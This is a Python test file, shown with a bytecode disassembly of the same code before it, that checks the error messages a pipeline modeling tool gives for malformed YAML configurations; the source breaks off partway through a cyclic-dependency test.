RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'edge must contain field: to' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Node1\'\n to: \'Node2\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Failed to find node: Node1' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Node0:10\'\n to: \'Node2\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Failed to access node: Node0 by out port: 10' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node2\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Failed to find node: Node2' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0:3\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Failed to access node: Node0 by in port: 3' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Node0\'\n to: \'Src\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Failed to access node: Src by in port: 0' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0\'\n - from: \'Src\'\n to: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Node: Node0 already connected by in port: 0' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0\'\n - from: \'Src\'\n to: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Node: Node0 already connected by in port: 0' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n\n - name: \'Node1\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Node0\'\n to: \'Node1\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Node: Node0 in Pipeline: PL1 has dangling input by in port: 0' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node\'\n type: \'Infer\'\n blob: \'model.blob\'\n device: \'CPU\'\n input_layers:\n - \'in_layer_name_0\'\n - \'in_layer_name_1\'\n output_layers:\n - \'out_layer_name\'\n edges:\n - from: \'Src\'\n to: \'Node:0\'\n - from: \'Node:0\'\n to: \'Node:1\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Pipeline: PL1 has cyclic dependencies' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Infer\'\n blob: \'model.blob\'\n device: \'CPU\'\n input_layers:\n - \'in_layer_name_0\'\n - \'in_layer_name_1\'\n output_layers:\n - \'out_layer_name\'\n\n - name: \'Node1\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0:0\'\n - from: \'Node0:0\'\n to: \'Node1:0\'\n - from: \'Node1\'\n to: \'Node0:1\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Pipeline: PL1 has cyclic dependencies' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={} --load_config=not_existing.yml' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_CONST 'Failed to load config: not_existing.yml' LOAD_FAST out COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={} --pl_mode=unknown' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Unsupported PLMode: unknown\nPlease chose between: streaming and regular' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={} --app_mode=unknown' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Unsupported AppMode: unknown\nPlease chose between: realtime and benchmark' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={} --pl_mode=streaming --drop_frames' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST '--drop_frames option is supported only for pipelines in "regular" mode' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n call_every_nth: {}" ' STORE_FAST cfg_file LOAD_CONST 'Node0 call_every_nth must be greater than zero\nCurrent call_every_nth: {}' STORE_DEREF error LOAD_CLOSURE error BUILD_TUPLE LOAD_CONST <code object check at 0x7f8e2ff5e1e0, file "f.py", line 985> LOAD_CONST 'test_incorrect_call_every_nth.<locals>.check' MAKE_FUNCTION STORE_FAST check LOAD_FAST check LOAD_FAST cfg_file LOAD_CONST -3 CALL_FUNCTION POP_TOP LOAD_FAST check LOAD_FAST cfg_file LOAD_CONST 0 CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL get_output LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file LOAD_METHOD format LOAD_FAST call_every_nth CALL_METHOD CALL_METHOD CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_DEREF error LOAD_METHOD format LOAD_FAST call_every_nth CALL_METHOD CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,1]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST "Failed: Pipeline PL1 doesn't have stop criterion!" CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE
import os import subprocess pipeline_modeling_tool = os.getenv("PIPELINE_MODELING_TOOL") def get_output(exec_str): try: out = ( subprocess.check_output(exec_str, stderr=subprocess.STDOUT, shell=True) .strip() .decode() ) except subprocess.CalledProcessError as exc: out = exc.output.strip().decode() return out def test_error_no_config_specified(): out = get_output(pipeline_modeling_tool) assert out.startswith("Config must be specified via --cfg option") def test_error_no_config_exists(): cfg_file = "not_existing_cfg.yml" exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert "Failed to open config file: not_existing_cfg.yml" in out def test_error_work_time_not_positive(): cfg_file = """\"%YAML:1.0 work_time: -1\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("work_time must be positive") def test_error_no_pipelines(): cfg_file = """\"%YAML:1.0 work_time: 1000\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Config must contain field: Pipelines") def test_error_pipelines_node_not_map(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines:\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Pipelines field must be a map") def test_error_config_not_contain_pl(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1:\" """ exec_str = "{} --cfg={} --exec_list=PL2".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Pipelines must contain field: PL2") def test_error_no_source(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: queue_capacity: 1\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("PL1 must contain field: source") def test_error_source_no_name(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source:\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("source must contain field: name") def test_error_source_no_latency(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("source must contain field: latency") def test_error_source_no_output(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("source must contain field: output") def test_error_source_output_no_dims(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output:\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("output must contain field: dims") def test_error_source_output_no_precision(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4]\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("output must contain field: precision") def test_error_no_nodes(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("PL1 must contain field: nodes") def test_error_nodes_not_sequence(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes:\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("nodes in PL1 must be a sequence") def test_error_node_no_name(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: -\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("node must contain field: name") def test_error_node_no_type(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("node must contain field: type") def test_error_node_unknown_type(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Unknown'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Unsupported node type: Unknown") def test_error_node_dummy_no_time(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Node0 must contain field: time") def test_error_node_dummy_not_positive_time(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: -0.2\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Node0 time must be positive") def test_error_node_dummy_no_output(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Node0 must contain field: output") def test_error_node_infer_no_model_path(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Infer'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) error_msg = """Path to OpenVINO model must be specified in either of two formats: 1. xml: path to *.xml bin: path to *.bin 2. blob: path to *.blob""" assert out.startswith(error_msg) def test_error_node_infer_no_input_layers(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Infer' blob: model.blob device: 'CPU'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Node0 must contain field: input_layers") def test_error_node_infer_input_layers_are_empty(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Infer' blob: model.blob device: 'CPU' input_layers: \" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("input_layers in Node0 must be a sequence") def test_error_node_infer_no_output_layers(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Infer' blob: model.blob device: 'CPU' input_layers: - 'layer_name'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Node0 must contain field: output_layers") def test_error_node_infer_output_layers_are_empty(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Infer' blob: model.blob device: 'CPU' input_layers: - 'layer_name' output_layers:\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("output_layers in Node0 must be a sequence") def test_error_no_edges(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("PL1 must contain field: edges") def test_error_edges_not_sequence(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges:\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("edges in PL1 must be a sequence") def test_error_edges_no_from(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: -\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("edge must contain field: from") def test_error_edges_no_to(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Node0'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("edge must contain field: to") def test_error_edges_from_not_exists(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Node1' to: 'Node2'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Failed to find node: Node1") def test_error_edges_from_port_not_exists(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Node0:10' to: 'Node2'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Failed to access node: Node0 by out port: 10") def test_error_edges_to_not_exists(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node2'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Failed to find node: Node2") def test_error_edges_to_port_not_exists(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0:3'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Failed to access node: Node0 by in port: 3") def test_error_connect_to_source(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Node0' to: 'Src'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Failed to access node: Src by in port: 0") def test_error_double_edge(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0' - from: 'Src' to: 'Node0'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Node: Node0 already connected by in port: 0") def test_error_double_edge(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0' - from: 'Src' to: 'Node0'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Node: Node0 already connected by in port: 0") def test_node_has_dangling_input(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' - name: 'Node1' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Node0' to: 'Node1'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith( "Node: Node0 in Pipeline: PL1 has dangling input by in port: 0" ) def test_error_has_cycle_0(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: 